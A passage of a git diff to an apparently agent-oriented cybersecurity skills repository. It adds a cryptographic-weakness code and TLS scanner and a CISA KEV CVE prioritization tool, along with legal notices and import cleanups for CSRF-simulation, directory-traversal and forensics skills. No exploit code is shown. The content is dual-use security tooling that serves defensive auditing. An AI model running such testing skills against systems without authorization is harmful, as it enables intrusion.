r'\b(ECB|MODE_ECB|ecb)\b', + "severity": "CRITICAL", + "description": "ECB mode detected - does not provide semantic security", + "recommendation": "Use GCM, CBC with HMAC, or CTR mode", + }, + "hardcoded_key": { + "pattern": r'(?:key|secret|password|token)\s*[=:]\s*["\'][A-Za-z0-9+/=]{16,}["\']', + "severity": "CRITICAL", + "description": "Possible hardcoded cryptographic key or secret", + "recommendation": "Use environment variables or a secrets manager", + }, + "small_rsa_key": { + "pattern": r'(?:key_?size|bits)\s*[=:]\s*(?:512|768|1024)\b', + "severity": "CRITICAL", + "description": "RSA key size too small (<2048 bits)", + "recommendation": "Use minimum 2048-bit, preferably 4096-bit RSA keys", + }, + "weak_random": { + "pattern": r'\b(?:random\.random|math\.random|Math\.random|rand\(\)|srand)\b', + "severity": "HIGH", + "description": "Non-cryptographic random number generator used", + "recommendation": "Use secrets module, os.urandom, or crypto.getRandomValues", + }, + "ssl_no_verify": { + "pattern": r'(?:verify\s*=\s*False|CERT_NONE|SSL_VERIFY_NONE|InsecureRequestWarning|verify_ssl\s*=\s*False)', + "severity": "HIGH", + "description": "TLS certificate verification disabled", + "recommendation": "Enable certificate verification in all TLS connections", + }, + "tls_v1": { + "pattern": r'(?:TLSv1[^._23]|SSLv[23]|PROTOCOL_TLS(?!v1_[23])|TLS_1_0|TLS_1_1)', + "severity": "HIGH", + "description": "Deprecated TLS/SSL protocol version detected", + "recommendation": "Use TLS 1.2 or TLS 1.3 minimum", + }, + "padding_oracle": { + "pattern": r'(?:PKCS1v15|pkcs1_v1_5|PKCS5Padding)(?!.*OAEP)', + "severity": "MEDIUM", + "description": "PKCS#1 v1.5 padding used (vulnerable to padding oracle attacks)", + "recommendation": "Use OAEP padding for RSA, or switch to AEAD ciphers", + }, + "static_iv": { + "pattern": r'(?:iv|IV|nonce)\s*[=:]\s*(?:b?["\'][^"\']{1,32}["\']|bytes\([^)]*\))', + "severity": "HIGH", + "description": "Possible static/hardcoded IV or nonce", + "recommendation": "Generate random IV/nonce for each encryption operation", + }, +} + +SCAN_EXTENSIONS = { + ".py", ".js", ".ts", ".java", ".go", ".rb", ".php", ".cs", ".c", ".cpp", + ".h", ".yaml", ".yml", ".json", ".xml", ".conf", ".cfg", ".ini", ".env", + ".toml", ".properties", +} + + +def scan_file(file_path): + """Scan a single file for cryptographic weaknesses.""" findings = [] - if not requests: return [{"error": "requests required"}] - headers = {"Authorization": f"Bearer {token}"} if token else {} try: - resp = requests.get(f"{target}", headers=headers, timeout=15) - if resp.status_code == 200: - findings.append({"check": "Target Accessible", "status": "OK", "severity": "INFO"}) - else: - findings.append({"check": "Target Access", "status": f"HTTP {resp.status_code}", "severity": "MEDIUM"}) - except requests.RequestException as e: - findings.append({"error": str(e)}) + with open(file_path, "r", encoding="utf-8", errors="ignore") as f: + lines = f.readlines() + except (IOError, PermissionError): + return findings + + for line_num, line in enumerate(lines, 1): + for rule_id, rule in WEAK_PATTERNS.items(): + if re.search(rule["pattern"], line): + findings.append({ + "rule": rule_id, + "file": file_path, + "line": line_num, + "content": line.strip()[:120], + "severity": rule["severity"], + "description": rule["description"], + "recommendation": rule["recommendation"], + }) return findings -def analyze_results(target, token=None): + +def scan_directory(directory, extensions=None, exclude_dirs=None): + """Recursively scan a directory for cryptographic weaknesses.""" + if extensions is None: + extensions = SCAN_EXTENSIONS + if exclude_dirs is None: + exclude_dirs = {"node_modules", ".git", "__pycache__", "venv", ".venv", + "vendor", "dist", "build", ".tox"} + + all_findings = [] + files_scanned = 0 + + for root, dirs, files in os.walk(directory): + dirs[:] = [d for d in dirs if d not in exclude_dirs] + for fname in files: + ext = os.path.splitext(fname)[1].lower() + if ext not in extensions: + continue + full_path = os.path.join(root, fname) + findings = scan_file(full_path) + all_findings.extend(findings) + files_scanned += 1 + + print(f"[+] Scanned {files_scanned} files, found {len(all_findings)} issues") + return all_findings, files_scanned + + +def audit_tls_endpoint(host, port=443): + """Audit TLS configuration of a remote endpoint.""" findings = [] - if not requests: return [] - headers = {"Authorization": f"Bearer {token}"} if token else {} + print(f"[*] Auditing TLS: {host}:{port}") + try: - resp = requests.get(f"{target}/api/v1/results", headers=headers, timeout=15) - if resp.status_code == 200: - data = resp.json() - for item in data.get("findings", data.get("results", [])): - severity = item.get("severity", item.get("risk", "MEDIUM")) - findings.append({"check": item.get("name", item.get("title", "unknown")), - "severity": severity.upper() if isinstance(severity, str) else "MEDIUM"}) - except requests.RequestException: - pass + context = ssl.create_default_context() + with socket.create_connection((host, port), timeout=10) as sock: + with context.wrap_socket(sock, server_hostname=host) as ssock: + cert_der = ssock.getpeercert(binary_form=True) + cipher = ssock.cipher() + protocol = ssock.version() + + findings.append({ + "check": "TLS Protocol", + "value": protocol, + "severity": "CRITICAL" if "TLSv1.0" in protocol or "TLSv1.1" in protocol + else "INFO", + "description": f"Negotiated protocol: {protocol}", + }) + + if cipher: + cipher_name, tls_ver, key_bits = cipher + findings.append({ + "check": "Cipher Suite", + "value": cipher_name, + "severity": "HIGH" if any(w in cipher_name for w in ["RC4", "DES", "NULL", "EXPORT"]) + else "INFO", + "description": f"Cipher: {cipher_name} ({key_bits} bits)", + }) + + if HAS_CRYPTO and cert_der: + cert = x509.load_der_x509_certificate(cert_der, default_backend()) + not_after = cert.not_valid_after_utc if hasattr(cert, 'not_valid_after_utc') else cert.not_valid_after + days_remaining = (not_after - datetime.now(timezone.utc)).days + + pub_key = cert.public_key() + key_size = getattr(pub_key, 'key_size', 0) + sig_algo = cert.signature_algorithm_oid._name if hasattr(cert.signature_algorithm_oid, '_name') else str(cert.signature_hash_algorithm) + + findings.append({ + "check": "Certificate Expiry", + "value": f"{days_remaining} days", + "severity": "CRITICAL" if days_remaining < 0 + else "HIGH" if days_remaining < 30 + else "MEDIUM" if days_remaining < 90 + else "INFO", + "description": f"Expires: {not_after.isoformat()} ({days_remaining} days)", + }) + findings.append({ + "check": "Key Size", + "value": f"{key_size} bits", + "severity": "CRITICAL" if key_size < 2048 + else "MEDIUM" if key_size < 4096 + else "INFO", + }) + findings.append({ + "check": "Signature Algorithm", + "value": str(sig_algo), + "severity": "HIGH" if "sha1" in str(sig_algo).lower() else "INFO", + }) + + except ssl.SSLError as e: + findings.append({"check": "TLS Connection", "severity": "CRITICAL", + "description": f"SSL error: {e}"}) + except socket.timeout: + findings.append({"check": "TLS Connection", "severity": "HIGH", + "description": "Connection timed out"}) + except Exception as e: + findings.append({"check": "TLS Connection", "severity": "HIGH", + "description": f"Error: {e}"}) + return findings + +def format_summary(code_findings, tls_findings, files_scanned, target): + """Print audit summary.""" + all_findings = code_findings + tls_findings + print(f"\n{'='*60}") + print(f" Cryptographic Audit Report") + print(f"{'='*60}") + print(f" Target : {target}") + print(f" Files Scanned : {files_scanned}") + print(f" Code Findings : {len(code_findings)}") + print(f" TLS Findings : {len(tls_findings)}") + + severity_counts = {} + for f in all_findings: + sev = f.get("severity", "INFO") + severity_counts[sev] = severity_counts.get(sev, 0) + 1 + + print(f"\n By Severity:") + for sev in ["CRITICAL", "HIGH", "MEDIUM", "LOW", "INFO"]: + count = severity_counts.get(sev, 0) + if count > 0: + print(f" {sev:10s}: {count}") + + if code_findings: + by_rule = {} + for f in code_findings: + by_rule.setdefault(f["rule"], []).append(f) + print(f"\n Code Issues by Rule:") + for rule, items in sorted(by_rule.items(), key=lambda x: -len(x[1])): + print(f" {rule:25s}: {len(items)} ({items[0]['severity']})") + + print(f"\n Top Code Findings:") + for f in code_findings[:15]: + if f["severity"] in ("CRITICAL", "HIGH"): + print(f" [{f['severity']:8s}] {f['file']}:{f['line']} - {f['description']}") + + if tls_findings: + print(f"\n TLS Audit Results:") + for f in tls_findings: + print(f" [{f['severity']:8s}] {f.get('check', '')}: " + f"{f.get('value', f.get('description', ''))}") + + return severity_counts + + def main(): - p = argparse.ArgumentParser(description="Application cryptographic audit agent") - p.add_argument("--target", required=True, help="Target URL or IP") - p.add_argument("--token", help="API token") - p.add_argument("--output", "-o", help="Output JSON report") - p.add_argument("--verbose", "-v", action="store_true") - a = p.parse_args() - print("[*] Application cryptographic audit agent") - report = {"timestamp": datetime.now(timezone.utc).isoformat(), "target": a.target, "findings": []} - report["findings"].extend(run_scan(a.target, a.token)) - report["findings"].extend(analyze_results(a.target, a.token)) - high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) - report["risk_level"] = "CRITICAL" if high > 2 else "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" - print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") - if a.output: - with open(a.output, "w") as f: json.dump(report, f, indent=2) - else: + parser = argparse.ArgumentParser( + description="Application cryptographic audit agent" + ) + parser.add_argument("--target", required=True, + help="Source directory to scan or TLS host to audit") + parser.add_argument("--tls-port", type=int, default=443, + help="TLS port for endpoint audit (default: 443)") + parser.add_argument("--tls-only", action="store_true", + help="Only audit TLS endpoint, skip code scan") + parser.add_argument("--code-only", action="store_true", + help="Only scan code, skip TLS audit") + parser.add_argument("--exclude-dirs", nargs="+", + help="Additional directories to exclude from scan") + parser.add_argument("--output", "-o", help="Output JSON report path") + parser.add_argument("--verbose", "-v", action="store_true") + args = parser.parse_args() + + code_findings = [] + tls_findings = [] + files_scanned = 0 + + if not args.tls_only and os.path.isdir(args.target): + exclude = {"node_modules", ".git", "__pycache__", "venv", ".venv", "vendor"} + if args.exclude_dirs: + exclude.update(args.exclude_dirs) + code_findings, files_scanned = scan_directory(args.target, exclude_dirs=exclude) + + if not args.code_only and not os.path.isdir(args.target): + tls_findings = audit_tls_endpoint(args.target, args.tls_port) + elif not args.code_only and os.path.isdir(args.target): + pass # Can't audit TLS on a directory + + severity_counts = format_summary(code_findings, tls_findings, files_scanned, args.target) + + report = { + "timestamp": datetime.now(timezone.utc).isoformat(), + "tool": "Crypto Audit", + "target": args.target, + "files_scanned": files_scanned, + "severity_counts": severity_counts, + "code_findings": code_findings, + "tls_findings": tls_findings, + "risk_level": ( + "CRITICAL" if severity_counts.get("CRITICAL", 0) > 0 + else "HIGH" if severity_counts.get("HIGH", 0) > 0 + else "MEDIUM" if severity_counts.get("MEDIUM", 0) > 0 + else "LOW" + ), + } + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"\n[+] Report saved to {args.output}") + elif args.verbose: print(json.dumps(report, indent=2)) + if __name__ == "__main__": main() diff --git a/skills/performing-csrf-attack-simulation/SKILL.md b/skills/performing-csrf-attack-simulation/SKILL.md index e8e95b1f..4c1f1afd 100644 --- a/skills/performing-csrf-attack-simulation/SKILL.md +++ b/skills/performing-csrf-attack-simulation/SKILL.md @@ -28,6 +28,9 @@ license: Apache-2.0 - **Target application**: Authenticated session with valid test credentials - **HTML/JavaScript knowledge**: For crafting custom CSRF payloads + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Workflow ### Step 1: Identify State-Changing Requests diff --git a/skills/performing-csrf-attack-simulation/scripts/agent.py b/skills/performing-csrf-attack-simulation/scripts/agent.py index 4e5b8688..4767f85a 100644 --- a/skills/performing-csrf-attack-simulation/scripts/agent.py +++ b/skills/performing-csrf-attack-simulation/scripts/agent.py @@ -1,4 +1,7 @@ #!/usr/bin/env python3 +# For authorized penetration testing and educational environments only. +# Usage against targets without prior mutual consent is illegal. +# It is the end user's responsibility to obey all applicable local, state and federal laws. """ CSRF Attack Simulation Agent — AUTHORIZED TESTING ONLY Tests web applications for Cross-Site Request Forgery vulnerabilities by @@ -7,14 +10,12 @@ analyzing anti-CSRF protections and generating proof-of-concept payloads. WARNING: Only use with explicit written authorization for the target application. """ -import json import re import sys from datetime import datetime, timezone -from urllib.parse import urlparse, parse_qs +from urllib.parse import urlparse import requests -from requests.cookies import RequestsCookieJar def analyze_csrf_protections(url: str, session: requests.Session = None) -> dict: diff --git a/skills/performing-cve-prioritization-with-kev-catalog/SKILL.md b/skills/performing-cve-prioritization-with-kev-catalog/SKILL.md index 01b514f5..9e5b0f3a 100644 --- a/skills/performing-cve-prioritization-with-kev-catalog/SKILL.md +++ b/skills/performing-cve-prioritization-with-kev-catalog/SKILL.md @@ -61,7 +61,7 @@ Each KEV entry contains: | No | No | No (>= 4.0) | P4-Medium | 30 days | | No | No | No (< 4.0) | P5-Low | 90 days | -## Implementation Steps +## Workflow ### Step 1: Fetch and Parse the KEV Catalog diff --git a/skills/performing-cve-prioritization-with-kev-catalog/references/api-reference.md b/skills/performing-cve-prioritization-with-kev-catalog/references/api-reference.md index efc086d7..e25ac248 100644 --- a/skills/performing-cve-prioritization-with-kev-catalog/references/api-reference.md +++ b/skills/performing-cve-prioritization-with-kev-catalog/references/api-reference.md @@ -1,27 +1,175 @@ -# API Reference: CISA KEV CVE prioritization agent +# API Reference: CISA KEV Catalog CVE Prioritization -## API Details -CISA KEV JSON: known_exploited_vulnerabilities.json, CVE matching, deadline tracking +## Libraries Used + +| Library | Purpose | +|---------|---------| +| `requests` | Fetch KEV catalog JSON from CISA | +| `json` | Parse vulnerability entries and match against scan data | +| `csv` | Read vulnerability scanner CSV exports | +| `datetime` | Calculate remediation deadlines and SLA compliance | ## Installation + ```bash pip install requests ``` -## Libraries +## Data Sources -| Library | Use | -|---------|-----| -| `requests` | requests | +### CISA KEV JSON Feed +``` +URL: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json +Format: JSON +Authentication: None (public) +Update frequency: Updated as new exploited CVEs are added (typically several times per week) +``` -## Authentication +### CISA KEV CSV Feed +``` +URL: https://www.cisa.gov/sites/default/files/csv/known_exploited_vulnerabilities.csv +Format: CSV +``` -| Method | Header | -|--------|--------| -| Bearer Token | `Authorization: Bearer ` | -| API Key | `X-API-Key: ` | +### GitHub Mirror +``` +URL: https://raw.githubusercontent.com/cisagov/kev-data/main/known_exploited_vulnerabilities.json +``` + +## Core Operations + +### Fetch the KEV Catalog +```python +import requests +from datetime import datetime + +KEV_URL = "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json" + +def fetch_kev_catalog(): + resp = requests.get(KEV_URL, timeout=30) + resp.raise_for_status() + data = resp.json() + return { + "title": data["title"], + "catalog_version": data["catalogVersion"], + "date_released": data["dateReleased"], + "count": data["count"], + "vulnerabilities": data["vulnerabilities"], + } +``` + +### KEV Entry Schema + +| Field | Type | Description | +|-------|------|-------------| +| `cveID` | string | CVE identifier (e.g., "CVE-2024-12345") | +| `vendorProject` | string | Affected vendor (e.g., "Microsoft") | +| `product` | string | Affected product (e.g., "Windows") | +| `vulnerabilityName` | string | Human-readable vulnerability description | +| `dateAdded` | string | Date added to KEV (YYYY-MM-DD) | +| `shortDescription` | string | Brief vulnerability description | +| `requiredAction` | string | CISA-recommended remediation action | +| `dueDate` | string | Remediation deadline for federal agencies (YYYY-MM-DD) | +| `knownRansomwareCampaignUse` | string | "Known" or "Unknown" ransomware association | +| `notes` | string | Additional context | + +### Match Scan Results Against KEV +```python +def match_scan_to_kev(scan_cves, kev_catalog): + """Cross-reference vulnerability scan CVEs against the KEV catalog.""" + kev_lookup = {v["cveID"]: v for v in kev_catalog["vulnerabilities"]} + matched = [] + unmatched = [] + + for cve_id in scan_cves: + if cve_id in kev_lookup: + entry = kev_lookup[cve_id] + matched.append({ + "cve": cve_id, + "vendor": entry["vendorProject"], + "product": entry["product"], + "due_date": entry["dueDate"], + "ransomware": entry["knownRansomwareCampaignUse"], + "action": entry["requiredAction"], + "overdue": datetime.strptime(entry["dueDate"], "%Y-%m-%d") < datetime.now(), + }) + else: + unmatched.append(cve_id) + + return {"kev_matches": matched, "non_kev": unmatched} +``` + +### Prioritize by Risk +```python +def prioritize_kev_findings(kev_matches): + """Sort KEV matches by priority: overdue > ransomware > due date.""" + def priority_key(entry): + score = 0 + if entry["overdue"]: + score += 1000 + if entry["ransomware"] == "Known": + score += 500 + # Earlier due dates get higher priority + days_until = (datetime.strptime(entry["due_date"], "%Y-%m-%d") - datetime.now()).days + score -= days_until + return -score + + return sorted(kev_matches, key=priority_key) +``` + +### Generate Remediation Report +```python +def generate_report(scan_results, kev_catalog): + matches = match_scan_to_kev(scan_results, kev_catalog) + + overdue = [m for m in matches["kev_matches"] if m["overdue"]] + ransomware = [m for m in matches["kev_matches"] if m["ransomware"] == "Known"] + + return { + "total_vulns_scanned": len(scan_results), + "kev_matches": len(matches["kev_matches"]), + "overdue_count": len(overdue), + "ransomware_associated": len(ransomware), + "critical_actions": prioritize_kev_findings(matches["kev_matches"])[:10], + "non_kev_vulns": len(matches["non_kev"]), + } +``` + +### Monitor KEV Catalog Updates +```python +def check_for_new_entries(last_known_count): + """Check if new vulnerabilities have been added to KEV.""" + catalog = fetch_kev_catalog() + current_count = catalog["count"] + if current_count > last_known_count: + new_entries = catalog["vulnerabilities"][last_known_count:] + return { + "new_entries": len(new_entries), + "latest": new_entries, + "total": current_count, + } + return {"new_entries": 0, "total": current_count} +``` ## Output Format + ```json -{"timestamp": "ISO-8601", "target": "URL", "findings": [], "risk_level": "HIGH"} +{ + "catalog_version": "2025.01.15", + "total_kev_entries": 1150, + "scan_matches": 12, + "overdue": 3, + "ransomware_associated": 5, + "critical_actions": [ + { + "cve": "CVE-2024-21887", + "vendor": "Ivanti", + "product": "Connect Secure", + "due_date": "2024-01-31", + "ransomware": "Known", + "overdue": true, + "action": "Apply mitigations per vendor instructions or discontinue use." + } + ] +} ``` diff --git a/skills/performing-cve-prioritization-with-kev-catalog/scripts/agent.py b/skills/performing-cve-prioritization-with-kev-catalog/scripts/agent.py index 8cfd73af..392ade19 100644 --- a/skills/performing-cve-prioritization-with-kev-catalog/scripts/agent.py +++ b/skills/performing-cve-prioritization-with-kev-catalog/scripts/agent.py @@ -1,60 +1,239 @@ #!/usr/bin/env python3 -"""CISA KEV CVE prioritization agent.""" -import argparse, json, sys +"""CISA KEV CVE prioritization agent. + +Downloads the CISA Known Exploited Vulnerabilities (KEV) catalog and +cross-references it against a list of CVEs from vulnerability scans to +prioritize remediation based on active exploitation status, due dates, +and vendor/product impact. +""" +import argparse +import csv +import io +import json +import os +import sys from datetime import datetime, timezone + try: import requests except ImportError: - requests = None + print("[!] 'requests' library required: pip install requests", file=sys.stderr) + sys.exit(1) -def run_scan(target, token=None): - findings = [] - if not requests: return [{"error": "requests required"}] - headers = {"Authorization": f"Bearer {token}"} if token else {} - try: - resp = requests.get(f"{target}", headers=headers, timeout=15) - if resp.status_code == 200: - findings.append({"check": "Target Accessible", "status": "OK", "severity": "INFO"}) +KEV_JSON_URL = "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json" + + +def download_kev_catalog(): + """Download the latest CISA KEV catalog as JSON.""" + print(f"[*] Downloading CISA KEV catalog from {KEV_JSON_URL}") + resp = requests.get(KEV_JSON_URL, timeout=30) + resp.raise_for_status() + data = resp.json() + vulns = data.get("vulnerabilities", []) + catalog_version = data.get("catalogVersion", "unknown") + count = data.get("count", len(vulns)) + date_released = data.get("dateReleased", "unknown") + print(f"[+] KEV catalog v{catalog_version}: {count} vulnerabilities " + f"(released: {date_released})") + return vulns, { + "catalog_version": catalog_version, + "count": count, + "date_released": date_released, + } + + +def build_kev_index(kev_vulns): + """Build a lookup dict keyed by CVE ID for fast matching.""" + index = {} + for vuln in kev_vulns: + cve_id = vuln.get("cveID", "") + if cve_id: + index[cve_id.upper()] = { + "cve_id": cve_id, + "vendor": vuln.get("vendorProject", ""), + "product": vuln.get("product", ""), + "vulnerability_name": vuln.get("vulnerabilityName", ""), + "date_added": vuln.get("dateAdded", ""), + "short_description": vuln.get("shortDescription", ""), + "required_action": vuln.get("requiredAction", ""), + "due_date": vuln.get("dueDate", ""), + "known_ransomware_campaign": vuln.get("knownRansomwareCampaignUse", "Unknown"), + "notes": vuln.get("notes", ""), + } + return index + + +def load_cve_list(source): + """Load CVE list from file (one CVE per line or CSV) or comma-separated string.""" + cves = [] + if os.path.isfile(source): + with open(source, "r") as f: + content = f.read() + for line in content.strip().splitlines(): + line = line.strip().strip(",").strip('"') + if line.upper().startswith("CVE-"): + cves.append(line.upper()) + elif "," in line: + parts = line.split(",") + for part in parts: + part = part.strip().strip('"') + if part.upper().startswith("CVE-"): + cves.append(part.upper()) + else: + for part in source.split(","): + part = part.strip() + if part.upper().startswith("CVE-"): + cves.append(part.upper()) + return list(set(cves)) + + +def prioritize_cves(cve_list, kev_index): + """Cross-reference CVEs against KEV catalog and prioritize.""" + in_kev = [] + not_in_kev = [] + + for cve_id in cve_list: + kev_entry = kev_index.get(cve_id) + if kev_entry: + entry = dict(kev_entry) + entry["in_kev"] = True + entry["priority"] = "CRITICAL" + if entry.get("known_ransomware_campaign", "").lower() == "known": + entry["priority"] = "CRITICAL-RANSOMWARE" + try: + due = datetime.strptime(entry["due_date"], "%Y-%m-%d") + if due < datetime.now(): + entry["overdue"] = True + entry["priority"] = "CRITICAL-OVERDUE" + else: + entry["overdue"] = False + except (ValueError, KeyError): + entry["overdue"] = False + in_kev.append(entry) else: - findings.append({"check": "Target Access", "status": f"HTTP {resp.status_code}", "severity": "MEDIUM"}) - except requests.RequestException as e: - findings.append({"error": str(e)}) - return findings + not_in_kev.append({ + "cve_id": cve_id, + "in_kev": False, + "priority": "STANDARD", + }) + + # Sort: overdue first, then ransomware, then by due date + priority_order = {"CRITICAL-OVERDUE": 0, "CRITICAL-RANSOMWARE": 1, "CRITICAL": 2} + in_kev.sort(key=lambda x: (priority_order.get(x["priority"], 9), x.get("due_date", ""))) + + return in_kev, not_in_kev + + +def format_summary(in_kev, not_in_kev, total_cves, catalog_info): + """Print a human-readable prioritization report.""" + print(f"\n{'='*60}") + print(f" CISA KEV CVE Prioritization Report") + print(f"{'='*60}") + print(f" KEV Catalog : v{catalog_info['catalog_version']} " + f"({catalog_info['count']} total KEVs)") + print(f" Input CVEs : {total_cves}") + print(f" In KEV : {len(in_kev)} (actively exploited)") + print(f" Not in KEV : {len(not_in_kev)}") + + overdue = [v for v in in_kev if v.get("overdue")] + ransomware = [v for v in in_kev if "RANSOMWARE" in v.get("priority", "")] + + print(f"\n Priority Breakdown:") + print(f" CRITICAL-OVERDUE : {len(overdue)}") + print(f" CRITICAL-RANSOMWARE : {len(ransomware)}") + print(f" CRITICAL (in KEV) : {len(in_kev)}") + print(f" STANDARD (not in KEV): {len(not_in_kev)}") + + if in_kev: + print(f"\n KEV-Listed CVEs (prioritize remediation):") + for v in in_kev[:20]: + overdue_flag = " [OVERDUE]" if v.get("overdue") else "" + ransomware_flag = " [RANSOMWARE]" if "RANSOMWARE" in v.get("priority", "") else "" + print(f" {v['cve_id']:18s} | Due: {v.get('due_date', 'N/A'):10s} | " + f"{v.get('vendor', ''):15s} | {v.get('product', ''):20s}" + f"{overdue_flag}{ransomware_flag}") + if v.get("required_action"): + print(f" Action: {v['required_action'][:70]}") + + +def kev_stats(kev_vulns): + """Compute statistics about the KEV catalog.""" + by_vendor = {} + ransomware_count = 0 + for v in kev_vulns: + vendor = v.get("vendorProject", "Unknown") + by_vendor[vendor] = by_vendor.get(vendor, 0) + 1 + if v.get("knownRansomwareCampaignUse", "").lower() == "known": + ransomware_count += 1 + + print(f"\n KEV Catalog Statistics:") + print(f" Total vulnerabilities : {len(kev_vulns)}") + print(f" Ransomware-associated : {ransomware_count}") + print(f" Top vendors:") + for vendor, count in sorted(by_vendor.items(), key=lambda x: -x[1])[:10]: + print(f" {vendor:30s}: {count}") -def analyze_results(target, token=None): - findings = [] - if not requests: return [] - headers = {"Authorization": f"Bearer {token}"} if token else {} - try: - resp = requests.get(f"{target}/api/v1/results", headers=headers, timeout=15) - if resp.status_code == 200: - data = resp.json() - for item in data.get("findings", data.get("results", [])): - severity = item.get("severity", item.get("risk", "MEDIUM")) - findings.append({"check": item.get("name", item.get("title", "unknown")), - "severity": severity.upper() if isinstance(severity, str) else "MEDIUM"}) - except requests.RequestException: - pass - return findings def main(): - p = argparse.ArgumentParser(description="CISA KEV CVE prioritization agent") - p.add_argument("--target", required=True, help="Target URL or IP") - p.add_argument("--token", help="API token") - p.add_argument("--output", "-o", help="Output JSON report") - p.add_argument("--verbose", "-v", action="store_true") - a = p.parse_args() - print("[*] CISA KEV CVE prioritization agent") - report = {"timestamp": datetime.now(timezone.utc).isoformat(), "target": a.target, "findings": []} - report["findings"].extend(run_scan(a.target, a.token)) - report["findings"].extend(analyze_results(a.target, a.token)) - high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) - report["risk_level"] = "CRITICAL" if high > 2 else "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" - print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") - if a.output: - with open(a.output, "w") as f: json.dump(report, f, indent=2) + parser = argparse.ArgumentParser( + description="CISA KEV CVE prioritization agent" + ) + parser.add_argument("--cves", required=True, + help="CVE list: comma-separated string or path to file") + parser.add_argument("--kev-file", + help="Path to local KEV JSON (skip download)") + parser.add_argument("--stats", action="store_true", + help="Show KEV catalog statistics") + parser.add_argument("--output", "-o", help="Output JSON report path") + parser.add_argument("--verbose", "-v", action="store_true") + args = parser.parse_args() + + if args.kev_file: + print(f"[*] Loading local KEV file: {args.kev_file}") + with open(args.kev_file, "r") as f: + data = json.load(f) + kev_vulns = data.get("vulnerabilities", []) + catalog_info = { + "catalog_version": data.get("catalogVersion", "local"), + "count": len(kev_vulns), + "date_released": data.get("dateReleased", "unknown"), + } else: + kev_vulns, catalog_info = download_kev_catalog() + + if args.stats: + kev_stats(kev_vulns) + + kev_index = build_kev_index(kev_vulns) + cve_list = load_cve_list(args.cves) + print(f"[*] Loaded {len(cve_list)} CVE(s) to check") + + in_kev, not_in_kev = prioritize_cves(cve_list, kev_index) + format_summary(in_kev, not_in_kev, len(cve_list), catalog_info) + + report = { + "timestamp": datetime.now(timezone.utc).isoformat(), + "tool": "CISA KEV Prioritization", + "catalog_info": catalog_info, + "input_cve_count": len(cve_list), + "kev_matched": len(in_kev), + "kev_unmatched": len(not_in_kev), + "prioritized": in_kev, + "standard_priority": not_in_kev, + "risk_level": ( + "CRITICAL" if any(v.get("overdue") for v in in_kev) + else "HIGH" if in_kev + else "LOW" + ), + } + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"\n[+] Report saved to {args.output}") + elif args.verbose: print(json.dumps(report, indent=2)) + if __name__ == "__main__": main() diff --git a/skills/performing-dark-web-monitoring-for-threats/SKILL.md b/skills/performing-dark-web-monitoring-for-threats/SKILL.md index d1c96bd4..c012ca65 100644 --- a/skills/performing-dark-web-monitoring-for-threats/SKILL.md +++ b/skills/performing-dark-web-monitoring-for-threats/SKILL.md @@ -46,7 +46,7 @@ Dark web monitoring involves systematically scanning Tor hidden services, underg - Disable JavaScript in Tor Browser for enhanced security - Never download or execute files from dark web sources on production systems -## Practical Steps +## Workflow ### Step 1: Set Up Tor-Based HTTP Client diff --git a/skills/performing-dark-web-monitoring-for-threats/scripts/agent.py b/skills/performing-dark-web-monitoring-for-threats/scripts/agent.py index 08625799..6cbc2f18 100644 --- a/skills/performing-dark-web-monitoring-for-threats/scripts/agent.py +++ b/skills/performing-dark-web-monitoring-for-threats/scripts/agent.py @@ -1,6 +1,6 @@ #!/usr/bin/env python3 """Dark web threat monitoring agent.""" -import argparse, json, sys +import argparse, json from datetime import datetime, timezone try: import requests diff --git a/skills/performing-deception-technology-deployment/scripts/agent.py b/skills/performing-deception-technology-deployment/scripts/agent.py index 86c7743f..c872e0a9 100644 --- a/skills/performing-deception-technology-deployment/scripts/agent.py +++ b/skills/performing-deception-technology-deployment/scripts/agent.py @@ -9,7 +9,6 @@ import hashlib import json import os import secrets -import socket import sys import threading from datetime import datetime, timezone diff --git a/skills/performing-directory-traversal-testing/scripts/agent.py b/skills/performing-directory-traversal-testing/scripts/agent.py index 41f9abe3..8efb3fae 100644 --- a/skills/performing-directory-traversal-testing/scripts/agent.py +++ b/skills/performing-directory-traversal-testing/scripts/agent.py @@ -7,7 +7,6 @@ injecting traversal sequences into file path parameters. WARNING: Only use with explicit written authorization for the target application. """ -import json import sys from datetime import datetime, timezone from urllib.parse import urlparse, parse_qs, urlencode, urlunparse diff --git a/skills/performing-disk-forensics-investigation/scripts/agent.py b/skills/performing-disk-forensics-investigation/scripts/agent.py index fbcdb5d9..4f8cd3b3 100644 --- a/skills/performing-disk-forensics-investigation/scripts/agent.py +++ b/skills/performing-disk-forensics-investigation/scripts/agent.py @@ -6,14 +6,12 @@ parsing, deleted file recovery, and timeline generation using pytsk3 and hashlib for evidence integrity. """ -import csv import hashlib import json import os import struct import sys from datetime import datetime, timezone -from pathlib import Path try: import pytsk3 diff --git a/skills/performing-dmarc-policy-enforcement-rollout/SKILL.md b/skills/performing-dmarc-policy-enforcement-rollout/SKILL.md index 1ba0e057..24bca6ce 100644 --- a/skills/performing-dmarc-policy-enforcement-rollout/SKILL.md +++ b/skills/performing-dmarc-policy-enforcement-rollout/SKILL.md @@ -48,7 +48,7 @@ v=DMARC1; p=quarantine; pct=25; rua=mailto:dmarc-agg@company.com; ruf=mailto:dma - **Relaxed**: Organizational domain match (sub.example.com matches example.com) - **Strict**: Exact domain match required -## Implementation Steps +## Workflow ### Step 1: Inventory All Sending Sources (Week 1-2) - Audit all systems sending email as your domain (marketing, CRM, ticketing, transactional) diff --git a/skills/performing-dns-tunneling-detection/scripts/agent.py b/skills/performing-dns-tunneling-detection/scripts/agent.py index 5755b805..7a509924 100644 --- a/skills/performing-dns-tunneling-detection/scripts/agent.py +++ b/skills/performing-dns-tunneling-detection/scripts/agent.py @@ -1,14 +1,13 @@ #!/usr/bin/env python3 """Agent for detecting DNS tunneling via entropy and statistical analysis.""" -import os import json import math import argparse from collections 